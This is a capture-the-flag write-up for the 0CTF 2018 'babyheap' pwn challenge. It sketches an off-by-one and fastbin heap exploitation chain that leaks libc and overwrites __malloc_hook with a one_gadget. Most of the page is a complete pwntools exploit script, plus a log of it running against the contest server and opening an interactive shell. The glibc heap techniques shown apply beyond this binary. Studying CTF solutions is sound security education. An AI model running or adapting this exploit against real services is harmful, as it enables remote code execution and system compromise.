0ctf2018 babyheap

2018-04-27

babyheap

exploit method:

  1. leak heap_addr
    • fastbin attack
    • off-by-one overlap
  2. leak main_arena
    • unsorted bin attack
    • off-by-one overlap
    • main_arena = unsorted bin - offset
  3. leak libc_base
    • libc_base = main_arena - offset'
  4. fastbin attack to control top_chunk
    • top_chunk point to near __malloc_hook
  5. use one_gadget to rewrite __malloc_hook

leak

fastbin attack

  • single link
  • LIFO
  • structure
    sizeof(A/B/C) = 0x30.
    free(A),free(B),free(C),then we get:
    A->fd = B
    B->fd = C
    C->fd = 0

off-by-one overlap

  • chunk A,B,C
  • overflow A to pollute the size area of B,then get B'
  • in C,build a fake chunk C' to bypass the size check
    condition:SIZE(B)+SIZE(C)=SIZE(B')+SIZE(C')

addition knowledge

  • on x86-64,chunk alignment:0x?8 size area get 0x(?+1)0
  • chunk A is an unsorted bin,A->fd = A->bk = A_addr
  • main_arena - certain offset = libc_base
    see cat /proc/pid/maps in shell or vmmap in peda to get libc_base,then offset = main_arena - libc_base

exp

#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import sys

# context(log_level='debug')


def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

def update(id,size,content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(id))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    print "[#]update chunk:",str(id)
    p.sendline(content)

def delete(id):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    print "[#]delete chunk:",str(id)
    p.sendline(str(id))

def view(id):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(id))

def redlog(msg):
    return "[" + "33[0;31m%s33[0m" % "+" + "]" + msg + ":"




def exploit(p):
    allocate(0x10)
    allocate(0x28)
    allocate(0x20)#2
    allocate(0x20)

    #leak heap
    update(1,0x29,'a'*0x28+'\x51')
    update(3,0x20,p64(1)+p64(1)+p64(0)+p64(0x21))

    delete(2)
    allocate(0x40)#2
    update(2,0x30,'a'*0x20+p64(-1,sign=signed)+p64(0x21))
    delete(0)
    delete(3)
    view(2)
    p.recvuntil(": ")
    data=p.recvuntil("\n")[0x30:][:8]
    heap=u64(data)
    print redlog("heap"),hex(heap)

    # leak main_arena
    allocate(0x10) #0
    allocate(0x58) #3
    allocate(0x58) #4


    update(2,0x30,'A'*0X20+p64(0)+p64(0X91))
    update(3,0x51,p64(0xdeadbeef)*11 + p64(0x21))

    delete(0)
    view(2)
    p.recvuntil(": ")
    data=p.recvuntil("\n")[0x30:][:8]
    main_arena = u64(data)-0x58
    libc_offset = 0x399b00
    libc = main_arena - libc_offset
    print redlog("main_arena"),hex(main_arena)
    print redlog("libc_offset"),hex(libc_offset)
    print redlog("libc"),hex(libc)

    # control top_chunk
    allocate(0x58) #0
    allocate(0x28) #5
    allocate(0x58)
    # update(5,0x10,p64(0)+p64(0x41))
    update(2,0x30,p64(0xdeadbeef)*4+p64(0)+p64(0x51))
    update(0,0x50,p64(0xdeadbeef)*8+p64(0)+p64(0x41))
    # update(4,0x10,'\x44'*0x10)
    update(5,0x29,p64(0xdeadbeef)*5+chr(0x51))
    update(4,0x50,p64(0xdeadbeef)*8+p64(0)+p64(0x71))
    delete(4)
    delete(0)
    delete(6)

    # edit top_chunk
    fake = main_arena + 37
    fake_top = main_arena - 0x33
    update(2,0x40,p64(0xdeadbeef)*5+p64(0x51)+p64(fake)+p64(0xdeadbeef))
    allocate(0x10) #0
    allocate(0x48) #4
    # gdb.attach(p)
    allocate(0x48) #6
    update(6,0x33-8,'\x00'*3+p64(0xcafebabe)*4+p64(fake_top))
    one_gadget = libc+0x3f35a
    print redlog("one_gadget:"),hex(one_gadget)
    allocate(0x30) #7
    update(7,0x20,"\x33"*3+p64(0xdeadbeef)*2+p64(one_gadget)+p64(0xdeadbeef))
    # gdb.attach(p)
    allocate(0x10)
    p.interactive()

    p.close()


if __name__=="__main__":
    if len(sys.argv)<2 :
        p = process("./babyheap")
        # p = process('./babyheap',env={'LD_PRELOAD':'./libc.so'})
    else:
        p = remote(sys.argv[1],int(sys.argv[2]))
    exploit(p)
foxwest@ubuntu:~/Desktop/pwn/babyheap$ python o.py 202.120.7.204 127
[+] Opening connection to 202.120.7.204 on port 127: Done
[#]update chunk: 1
[#]update chunk: 3
[#]delete chunk: 2
[#]update chunk: 2
[#]delete chunk: 0
[#]delete chunk: 3
[+]heap: 0x5610e84a4000
[#]update chunk: 2
[#]update chunk: 3
[#]delete chunk: 0
[+]main_arena: 0x7ff07ed79b00
[+]libc_offset: 0x399b00
[+]libc: 0x7ff07e9e0000
[#]update chunk: 2
[#]update chunk: 0
[#]update chunk: 5
[#]update chunk: 4
[#]delete chunk: 4
[#]delete chunk: 0
[#]delete chunk: 6
[#]update chunk: 2
[#]update chunk: 6
[+]one_gadget:: 0x7ff07ea1f35a
[#]update chunk: 7
[*] Switching to interactive mode
$ ls home/babyheap
babyheap
flag
$